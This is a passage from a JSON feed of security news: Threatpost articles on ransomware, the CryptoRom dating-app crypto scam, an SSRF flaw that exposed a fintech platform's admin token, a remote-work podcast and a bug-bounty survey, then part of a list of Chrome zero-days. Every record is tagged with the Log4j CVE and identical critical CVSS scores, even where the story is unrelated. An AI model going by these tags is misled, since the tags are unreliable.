attack](<https://www.spiegel.de/netzwelt/web/swissport-hackerangriff-stoert-zeitweise-flugbetrieb-in-der-schweiz-a-44285ac8-ad73-42ea-b751-91559c2ff4c8>) which caused the delay of 22 flights out of Zurich, Switzerland, according to an airport spokeswoman who spoke with Der Speigel.\n\n> \u26a0\ufe0fIT security incident at [#Swissport](<https://twitter.com/hashtag/Swissport?src=hash&ref_src=twsrc%5Etfw>) contained. Affected infrastructure swiftly taken offline. Manual workarounds or fallback systems secured operation at all times. Full system clean-up and restoration now under way. We apologize for any inconvenience.\n> \n> \u2014 Swissport (@swissportNews) [February 5, 2022](<https://twitter.com/swissportNews/status/1489903446966812676?ref_src=twsrc%5Etfw>)\n\nBottom line? For now, ransomware is here to stay, but evolving.\n\nThe latest research from Trellix suggests that moving forward in 2022, financial services are going to be bombarded with [ransomware attacks](<https://www.trellix.com/en-us/threat-center/threat-reports/jan-2022.html>). From the second to the third quarter of 2021, attacks on the finance and insurance sector increased by 21 percent, followed by just a 7 percent increase in healthcare attacks, the firm noted.\n\n\u201cIn the third quarter of 2021, high-profile ransomware groups disappeared, reappeared, reinvented, and even attempted to rebrand, while remaining relevant and prevalent as a popular and potentially devastating threat against an increasing spectrum of sectors,\u201d Trellix chief scientist Raj Samani said.\n\n**_Check out our free _**[**_upcoming live and on-demand online town halls_**](<https://threatpost.com/category/webinars/>) **_\u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-07T22:09:27", "type": "threatpost", "title": "LockBit, BlackCat, Swissport, Oh My! Ransomware Activity Stays Strong", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-07T22:09:27", "id": "THREATPOST:0FD7F2FA7F2D3383F582553124EA843D", "href": "https://threatpost.com/lockbit-blackcat-swissport-ransomware-activity/178261/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-16T20:53:33", "description": "For about a year now, crypto-traders and lovelorn singles alike have been losing their money to CryptoRom, a malware campaign that combines catfishing with crypto-scamming.\n\nAccording to [research](<https://news.sophos.com/en-us/2022/03/16/cryptorom-bitcoin-swindlers-continue-to-target-vulnerable-iphone-and-android-users/>) from Sophos, CryptoRom\u2019s perpetrators have now improved their techniques. They\u2019re leveraging new iOS features \u2013 [TestFlight](<https://developer.apple.com/testflight/>) and [WebClips](<https://support.apple.com/guide/deployment/%22>) \u2013 to get fake apps onto victims\u2019 phones without being subject to the rigorous app store approval process.\n\nSuccessful CryptoRom scams have resulted in five-, six- and even seven-figure losses for victims.\n\n## What is CryptoRom?\n\nWe do silly things when we\u2019re in love. In fact, [scientifically speaking](<https://link.springer.com/article/10.1007/s10508-015-0589-y>), our inhibitions and decision-making capabilities become impaired in the face of romance and sexual arousal.\n\nPerhaps that\u2019s why hackers have been so successful in targeting dating apps over the years. Last year, the Federal Trade Commission [reported](<https://consumer.ftc.gov/articles/what-you-need-know-about-romance-scams#:~:text=Romance%20scams%20reached%20a%20record,%2C%20Facebook%2C%20or%20Google%20Hangouts.>) that \u201cromance scams\u201d cost U.S. citizens over 300 million dollars in 2020, up 50 percent from 2019.\n\nCapitalizing on this trend, last year a new and well-coordinated campaign began targeting users of dating apps like Bumble, Tinder and Grindr. According to a Sophos [report](<https://news.sophos.com/en-us/2021/10/13/cryptorom-fake-ios-cryptocurrency-apps/>) last fall, the attackers\u2019 M.O. is to begin there, then move the conversation to messaging apps.\n\n\u201cOnce the victim becomes familiar, they ask them to install fake trading applications with legitimate looking domains and customer support,\u201d researchers explained.\n\nThe trading apps tend to be cryptocurrency-related, since, more so than with fiat currency, cryptocurrency payments are [irreversible](<https://www.uschamber.com/co/run/finance/accepting-cryptocurrency-as-payment#:~:text=Cryptocurrency%20transactions%20are%20irreversible&text=%E2%80%9CTransactions%20can%20be%20refunded%20only,has%20paid%2C%E2%80%9D%20wrote%20Inc.>).\n\n\u201cThey move the conversation to investment and ask them to invest a small amount, and even let them withdraw that money with profit as bait,\u201d according to Sophos. \u201cAfter this, they will be told to buy various financial products or asked to invest in special \u2018profitable\u2019 trading events. The new friend even lends some money into the fake app, to make the victim believe they\u2019re real and caring. When the victim wants their money back or gets suspicious, they get locked out of the account.\u201d\n\nThe ruse can go on quite a while before victims catch on. One anonymous person told Sophos that they lost more than $20,000, while another complained of investing $100,000 into the fake app, while bringing a brother and friends into the scheme unwittingly.\n\nIn the worst case thus far, one user wrote that \u201cI have invested all my retirement money and loan money, about $1,004,000. I had no idea that they would freeze my account, requiring me to pay $625,000, which is 20 percent taxes on the total profits before they will unfreeze my account.\u201d\n\nKarl Steinkamp, director at Coalfire, told Threatpost that the scam is a perfect storm of social engineering.\n\n\u201cAn overarching theme here is twofold: One, we are seeing the world\u2019s population rapidly wanting to adopt some format of crypto assets, whether this is Bitcoin, Ethereum or any one of the other 17K+ altcoins,\u201d he said. \u201cAnd two, there is an increasing need for end user (and company) security awareness training when utilizing, storing and transferring any crypto asset. Crypto and digital-asset protection includes different technologies and skills needed to adequately secure the resources.\u201d\n\nHe added, \u201cThe mixing of dating, money / lending, and social-engineering efforts is and will continue to be a potent combination for bad actors to continue to steal money from victims. Bad actors only need to find one crack in the armor, while individuals and companies need to protect against every avenue of threats.\u201d\n\n## What\u2019s New This Time?\n\nA crucial component to the CryptoRom attack flow is those fake apps. Victims might receive a link to download what purports to be BTCBOX, for example, or Binance \u2013 perfectly legitimate cryptocurrency trading platforms. These apps appear to have professional user interfaces, and even come with customer-service chat options.\n\nApple and Google apply strict vetting to weed out malicious mobile apps like these from their official stores. But, as Threatpost has [covered before](<https://threatpost.com/teabot-trojan-haunts-google-play-store/178738/>), hackers have clever tricks to get around conventional security testing. In the past, for example, CryptoRom\u2019s preferred method was to use [the Apple Developer Program and Enterprise Signatures](<https://threatpost.com/cryptorom-scammers-apple-enterprise-features/175474/>).\n\nNow, CryptoRom is taking advantage of two new iOS features.\n\nThe first, TestFlight, is a feature developers can use to distribute beta versions of their apps to testers.\n\n\u201cUnfortunately,\u201d wrote the researchers, \u201cjust as we\u2019ve seen happen with other alternative app distribution schemes supported by Apple, \u2018TestFlight Signature\u2019 is available as a hosted service for alternative iOS app deployment, making it all too simple for malware authors to abuse.\u201d\n\nCryptoRom has shifted from Enterprise Signatures towards TestFlight Signatures because, wrote Sophos, \u201cit is a bit cheaper\u201d \u2013 requiring only an .IPA file with a compiled iOS app. Apps also look \u201cmore legitimate when distributed with the Apple Test Flight App,\u201d researchers added. \u201cThe review process is also believed to be less stringent than App Store review.\u201d\n\n\u201cHackers leveraging Apple\u2019s TestFlight platform as a distribution mechanism for malicious apps is a clever \u2014 and relatively simple \u2014 tactic that can certainly lead to problems for victims,\u201d Ray Kelly, fellow at NTT Application Security, told Threatpost. \u201cUsers should understand that side-loading applications is always a precarious proposition. Apps that are downloaded and installed outside of the of the App Store or Google Play ecosystem have not been vetted for security and privacy risks, leaving the door wide open for attackers to compromise users\u2019 personal data and sometimes, their financial accounts.\u201d\n\nEven more so than TestFlight, CryptoRom attackers have been using WebClips, a feature that allows web links to be added to the iOS home screen like regular apps. Malicious WebClips mimic real apps like RobinHood (in the following case, \u201cRobinHand\u201d).\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/16132308/RobinHand.png>)\n\nA malicious WebClip offering in the Apple App Store. Source: Sophos.\n\n\u201cIn addition to App Store pages, all these fake pages also had linked websites with similar templates to convince users,\u201d the researchers wrote. \u201cThis shows how cheap and easy it is to mimic popular brands while siphoning thousands of dollars from victims.\u201d\n\nSince it\u2019s almost impossible for law enforcement to crack down on any one individual scam, app store providers hav a responsibility to monitor for misuse of these developer tools, Mark Lambert, vice president of products at ArmorCode, told Threatpost. He added, \u201cUltimately, however, the problem is a lack of security awareness. It is essential that users look for things that \u2018don\u2019t look right\u2019 and have a fundamental view of not trusting electronic communications or taking them on face value.\u201d\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists. _**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-16T17:32:59", "type": "threatpost", "title": "\u2018CryptoRom\u2019 Crypto Scam is Back via Side-Loaded Apps", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-16T17:32:59", "id": "THREATPOST:76A072EE53232EB197F119EC2F7EAA74", "href": "https://threatpost.com/cryptorom-crypto-scam-side-loaded-apple-apps/178942/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T13:47:15", "description": "A [server-side request forgery (SSRF) flaw](<https://threatpost.com/microsoft-azure-flaws-servers-takeover/159965/>) in an API of a large financial technology (fintech) platform potentially could have compromised millions of bank customers, allowing attackers to defraud clients by controlling their bank accounts and funds, researchers have found.\n\nA team at [Salt Security\u2019s](<https://salt.security/>) [Salt Labs](<https://salt.security/blog-authors/salt-labs>) identified the vulnerability in an API in a web page that supports the organization\u2019s platform fund transfer functionality, which allows clients to transfer money from their accounts on its platform into their bank accounts, researchers disclosed in [a report published Thursday](<https://salt.security/blog/api-threat-research-server-side-request-forgery-on-fintech-platform-enabled-administrative-account-takeover>).\n\nThe company in question\u2014dubbed \u201cAcme Fintech\u201d to preserve its anonymity\u2013offers a \u201cdigital transformation\u201d service for banks of all sizes, allowing the institutions to switch traditional banking services to online services. The platform already has been actively integrated into many banks\u2019 systems and thus has millions of active daily users, researchers said.\n\nIf the flaw had been exploited, attackers could have performed various nefarious activities by gaining administrative access to the banking system using the platform. From there they could have leaked users\u2019 personal data, accessed banking details and financial transactions, and performed unauthorized fund transfers into their own bank accounts, researchers said.\n\nUpon identifying the vulnerability, researchers reviewed their findings and provided recommended mitigation to the organization, they said.\n\n## **High Reward for Threat Actors**\n\nAPI flaws are often overlooked, but researchers at Salt Labs said in the report that they \u201csee vulnerabilities like this one and other API-related issues on a daily basis.\u201d\n\nIndeed, 5 percent of organizations experienced an API security incident in the past 12 months, according to the company\u2019s [State of API Security](<https://salt.security/api-security-trends?>) report for the first quarter of 2022. This period also showed significant growth of malicious API traffic, they said.\n\n\u201c[Critical SSRF flaws](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) are more common than many FinTech providers and banking institutions realize,\u201d Yaniv Balmas, vice president of research for Salt Security said in a press statement. \u201cAPI attacks are becoming more frequent and complex.\u201d\n\nFintech companies are especially vulnerable to compromise because their customers and partners rely on a vast network of APIs to drive interactions between various websites, mobile applications and custom integrations, among other systems, researchers said.\n\nThis, in turn, makes them \u201cprime targets by attackers looking to abuse API vulnerabilities\u201d for a couple of reasons, researchers wrote.\n\n\u201cOne, their API landscape and overall functionality is very rich and complex, which leaves a lot of room for mistakes or overlooking details in development,\u201d they wrote. \u201cTwo, if a bad actor can successfully abuse this type of platform, the potential profits are huge, since it could allow control of millions of users\u2019 bank accounts and funds.\u201d\n\n## **The Vulnerability**\n\nResearchers discovered the flaw while scanning and recording all traffic sent and received across the organization\u2019s website. On a page that connects clients to various banks so they can transfer funds to their bank accounts, researchers discovered an issue with the API the browser calls to handle the request.\n\n\u201cThis specific API is using the endpoint located at \u2018/workflows/tasks/{TASK_GUID}/values,\u2019 the HTTP method used to call it is \nPUT, and the specific request data is sent in the HTTP body section,\u201d researchers explained.\n\nThe request body also carries a JWT Bearer token, which is a cryptographically signed key that lets the server know who is the requesting user and what permissions he has.\n\nThe flaw was in the request parameters that send the required data for a funds transfer\u2014specifically a parameter called \u201cInstitutionURL,\u201d researchers explained. This is a user-provided value that includes a URL pointing to some GUID value placed on the receiving bank website.\n\nIn this case, the bank\u2019s web server handled the user-supplied URL by trying to contact the URL itself, allowing for a SSRF in which the web server still tried to call an arbitrary URL if it was inserted into the code instead of the appropriate bank\u2019s URL, researchers explained.\n\n## **Exposing the SSRF Flaw**\n\nResearchers demonstrated this flaw by forging a malformed request containing their own domain. The connection coming into their server was made successfully, proving that \u201cthe server blindly trusts domains provided to it in this parameter and issues a request to that URL,\u201d they wrote.\n\nFurther, the request that came into their server included a JWT token used for authentication, which turned out to be a different one than the token included in the original request.\n\nResearchers embedded the new JWT token into a request they\u2019d previously encountered to an endpoint named \u201c/accounts/account,\u201d which had allowed them to retrieve information from a bank account. This time they returned even more information, they said.\n\n\u201cThe API endpoint recognized our new JWT administrative token and very gracefully returned a list of every user and its details across the platform,\u201d researchers revealed.\n\nTrying the request again to an endpoint named \u201c/transactions/transactions\u201d with the new token also allowed them to access a list of all transactions made by every user on the banking system, they said.\n\n\u201cThis vulnerability is a critical flaw, one that completely compromises every bank user,\u201d researchers said. \u201cHad bad actors discovered this vulnerability, they could have caused serious damage for both [the organization] and its users.\u201d\n\nSalt Labs hopes that shining a light on API threats will inspire security practitioners to take a closer look at how their systems may be vulnerable in this way, Balmas said.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-07T13:46:17", "type": "threatpost", "title": "SSRF Flaw in Fintech Platform Allowed for Compromise of Bank Accounts", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-04-07T13:46:17", "id": "THREATPOST:B7C8B7F3016D73355C4ED5E05B0E8490", "href": "https://threatpost.com/ssrf-flaw-fintech-bank-accounts/179247/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-03T14:20:55", "description": "The baby upchucks. The dog loudly informs you that she\u2019s detected a budding squirrel armageddon. Your department\u2019s Zoom meeting starts in four minutes. The Bank of Fezziwig texts: If you haven\u2019t enabled online banking, click here.\n\nWhat. Do. You. DO?!?\n\nIt doesn\u2019t matter that you\u2019ve been working remotely since circa P.P. \u2013 that\u2019s Pre-Pandemic times. Now, your spouse is underfoot, your kids are bouncing off the walls of your quote-unquote office, you haven\u2019t had coffee, and you\u2019re pretty sure you don\u2019t even have an account at B of F, so you better just click that link and get the thing off your phone and out of your face.\n\n\n\n(Brought to you by SpecOps. Underwriters of Threatpost podcasts do not assert any editorial control over content.)\n\nWrong answer! You\u2019ve been [smished](<https://threatpost.com/smishing-text-phishing-ciso-radar/165634/>) by an attacker who sent a malicious link via SMS.\n\nTwo years into the pandemic, remote work has become common, but securing data is just as tough as it\u2019s always been. You don\u2019t have to look far to see tales of human error leading to cyber malfeasance: The human factor is at the base of most cyberattacks, from the employees who [fall for](<https://threatpost.com/bec-losses-top-18b/167148/>) business email compromise (BEC) attacks to whoever forgot to shut down that no-longer-used [VPN account](<https://threatpost.com/darkside-pwned-colonial-with-old-vpn-password/166743/>) that attackers used to launch the calamitous [Colonial Pipeline](<https://threatpost.com/colonial-pays-5m/166147/>) ransomware attack.\n\nMark Loveless is a staff security researcher at GitLab, maker of the web-based Git repository. He\u2019s an expert at securing data when you\u2019ve got a remote, oftentimes frantically distracted workforce. After all, as GitLab [puts it](<https://about.gitlab.com/company/culture/all-remote/guide/>), it\u2019s \u201cone of the world\u2019s largest all-remote companies,\u201d with over 1,500 team members located in more than 65 countries around the world.\n\nMark visited the Threatpost podcast to give us an update on the world of remote work and to answer this question: Where are we now with data protection?\n\nCaution: If you\u2019re playing a drinking game based on how many times he\u2019ll say \u201c[Zero Trust](<https://threatpost.com/practical-guide-zero-trust-security/151912/>),\u201d stock the liquor cabinet before listening. Mark also cautioned that the dog might see a squirrel during our interview. It happens.\n\nYou can download the podcast below or [listen here](<http://traffic.libsyn.com/digitalunderground/022522_Mark_Loveless_GitLab_mixdown.mp3>). For more podcasts, check out Threatpost\u2019s [podcast site](<https://threatpost.com/microsite/threatpost-podcasts-going-beyond-the-headlines/>).\n\nRegister Today for [**Log4j Exploit: Lessons Learned and Risk Reduction Best Practices**](<https://bit.ly/3BXPL6S>) \u2013 a LIVE **Threatpost event** sked for Thurs., March 10 at 2PM ET. Join Sonatype code **expert Justin Young** as he helps you sharpen code-hunting skills to reduce attacker dwell time. Learn why Log4j is still dangerous and how SBOMs fit into software supply-chain security. [Register Now for this one-time FREE event](<https://bit.ly/3BXPL6S>), Sponsored by Sonatype.\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-03T14:00:53", "type": "threatpost", "title": "Securing Data With a Frenzied Remote Workforce\u2013Podcast", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-03T14:00:53", "id": "THREATPOST:EC28F82F6C3ECD5D0BA7471D5BA50FD6", "href": "https://threatpost.com/securing-data-frenzied-remote-workforce-podcast/178742/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-10T15:47:11", "description": "Enterprises are putting greater stock in cybersecurity, but outdated \u201csecurity by obscurity\u201d is still prevailing as companies wrestle with security awareness and shy away from bug-bounty programs.\n\nThat\u2019s according to new survey data from HackerOne, which found that a full 65 percent of organizations surveyed claimed that they \u201cwant to be seen as infallible.\u201d However, just as many \u2013 64 percent \u2013 said they practice a culture of security through obscurity, where secrecy is used as the primary method of protecting sensitive systems and assets.\n\n## Struggling with Security Awareness\n\nWhen it comes to what\u2019s actually happening on the ground inside organizations, 57 percent of respondents in the report \u2013 \u201cThe Corporate Security Trap: Shifting Security Culture from Secrecy to Transparency\u201d \u2013 said that they struggle to create a culture of cybersecurity, and only 26 percent are \u201cvery confident\u201d that staff are following security practices.\n\nWorse, only 12 percent of departments outside of security and IT make cyber-awareness and training a core focus, according to the survey.\n\nAnd that\u2019s translating to trouble: About 63 percent said they\u2019ve had a security breach as a result of staff sidestepping security measures.\n\nSome of the issues come from the top: Only 29 percent of boards are \u201cdeeply involved\u201d in cybersecurity strategy; and 65 percent said that the idea that security slows innovation is telegraphed to them.\n\nMeanwhile, 63 percent of organizations said that they believe that cybersecurity is \u201cas important as cost when choosing a supplier,\u201d and 62 percent of organizations \u201cwould take their business elsewhere if a supplier suffered a data breach.\u201d\n\n## The Problem with Secrecy\n\nThus, perhaps it\u2019s no wonder that 38percent of respondents agreed that their organizations \u201caren\u2019t open about their cybersecurity practices.\u201d\n\nBut according to the authors of the report, this kind of approach is harmful, because \u201cby not admitting weaknesses and asking for help fixing them, organizations risk far more significant damage to their brand should a vulnerability be exploited.\u201d\n\n\u201cSunshine is the best medicine,\u201d wrote HackerOne CTO and co-founder Alex Rice, in the report. \u201cShining a light on the work to be done is the only way to win. We must stop asking security teams to toil away in obscurity.\u201d\n\nThe report suggested a few general changes organizations can make, like reporting breaches to stakeholders and publishing reports outlining security measures that companies have in place. Another practical fix to a closed security culture would be putting into place Vulnerability Disclosure Policies (VDPs), bug-bounty programs and regular pentests that get third-party researchers involved.\n\nHowever, third-party vulnerability reporting comes with its own complications.\n\n## The Controversy Around Bug Bounties\n\nMajor corporations like [Google](<https://threatpost.com/google-product-abuse-bug-bounties/158940/>) and [Intel](<https://threatpost.com/intel-expands-bug-bounty-program-post-spectre-and-meltdown/129980/>) pay out thousands of dollars at a time \u2013 even [millions of dollars](<https://threatpost.com/google-record-high-bug-bounty-payouts/152354/>) every year \u2013 in bug-bounty programs. With the financial incentive to do so, outside researchers and friendly hackers help companies find zero-day vulnerabilities early, before the bad guys do.\n\nHowever, this new survey data shows that not everyone is on board, suggesting that not all security professionals are open to outside scrutiny. A full 67 percent of respondents said that they \u201cwould rather accept software vulnerabilities than work with hackers.\u201d\n\nAnd the hesitancy goes both ways. Ethical hackers are often dissuaded from reporting vulnerabilities to vendors, because they\u2019re so often [ignored or outright attacked](<https://threatpost.com/the-vulnerability-disclosure-process-still-broken/137180/>) for doing so. In October, for example, the governor of Missouri launched a [criminal investigation against a journalist](<https://threatpost.com/missouri-prosecute-hacker-data-leak/175501/>) who reported that the state\u2019s website was exposing hundreds of thousands of social security numbers on the web.\n\nIt\u2019s no surprise, then, that 50 percent of hackers \u201chave not disclosed a bug because of a [previous negative experience](<https://threatpost.com/giggle-managing-expectations-vulnerability-disclosure/159039/>) or lack of channels through which to report,\u201d according to the report.\n\n## What Organizations Can Do\n\nTo establish trust and openness in corporate cybersecurity, HackerOne suggested four core tenets for corporate security responsibility. They are:\n\n * **Encouraging industry-wide transparency to build trust and share intelligence;**\n * **Fostering a culture of industry-wide collaboration that gives everyone the tools to take control of reducing cyber-risk;**\n * **Promoting innovation by inspiring development teams to build with security in mind and bring secure products to market faster;**\n * **And holding oneself and suppliers accountable to following best practices to develop security as an easy point of differentiation.**\n\nThe stakes are high: About 53 percent of survey respondents admitted that \u201cthey have lost customers as a result of a security breach.\u201d Bottom line? The sooner organizations evolve to be more open and collaborative about security, the better off they \u2013 and the rest of us, by extension \u2013 will be.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists. _**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-10T15:30:19", "type": "threatpost", "title": "Most Orgs Would Take Security Bugs Over Ethical Hacking Help", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-10T15:30:19", "id": "THREATPOST:CD9589D22198CE38A27B7D1434FEE963", "href": "https://threatpost.com/orgs-security-bugs-ethical-hacking-help/178862/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:37:48", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEibt_uA0VwMgumOtohRzrBSD-Inv5dv71ZMU1Hu4XYJFQxp8FVjEZzeLUuvttUyYx1xMxQJ16Nfw5Jdc7mPLfwoGoTeZqrLRMZ005Eu673XGL_uJrq7LDUpWojmmmN1YHSwVQcJQzL28acTco05Z7auS001HlgSR96GjvrE5gDr2M123luTRVFTFcAT>)\n\nGoogle has rolled out fixes for five security vulnerabilities in its Chrome web browser, including one which it says is being exploited in the wild, making it the [17th such weakness](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) to be disclosed since the start of the year.\n\nTracked as [CVE-2021-4102](<https://chromereleases.googleblog.com/2021/12/stable-channel-update-for-desktop_13.html>), the flaw relates to a [use-after-free bug](<https://cwe.mitre.org/data/definitions/416.html>) in the V8 JavaScript and WebAssembly engine, which could have severe consequences ranging from corruption of valid data to the execution of arbitrary code. An anonymous researcher has been credited with discovering and reporting the flaw.\n\nAs it stands, it's not known how the weakness is being abused in real-world attacks, but the internet giant issued a terse statement that said, \"it's aware of reports that an exploit for CVE-2021-4102 exists in the wild.\" This is done so in an attempt to ensure that a majority of users are updated with a fix and prevent further exploitation by other threat actors.\n\nCVE-2021-4102 is the second use-after-free vulnerability in V8 the company has remediated in less than three months following reports of active exploitation, with the previous vulnerability [CVE-2021-37975](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>), also reported by an anonymous researcher, plugged in an update it shipped on September 30. It's not immediately clear if the two flaws bear any relation to one another.\n\nWith this latest update, Google has addressed a record 17 zero-days in Chrome this year alone \u2014\n\n * [CVE-2021-21148](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [CVE-2021-21166](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [CVE-2021-21193](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [CVE-2021-21206](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [CVE-2021-21220](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [CVE-2021-21224](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [CVE-2021-30551](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [CVE-2021-30554](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [CVE-2021-30563](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n * [CVE-2021-30632](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Out of bounds write in V8\n * [CVE-2021-30633](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Use-after-free in Indexed DB API\n * [CVE-2021-37973](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>) \\- Use-after-free in Portals \n * [CVE-2021-37975](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Use-after-free in V8\n * 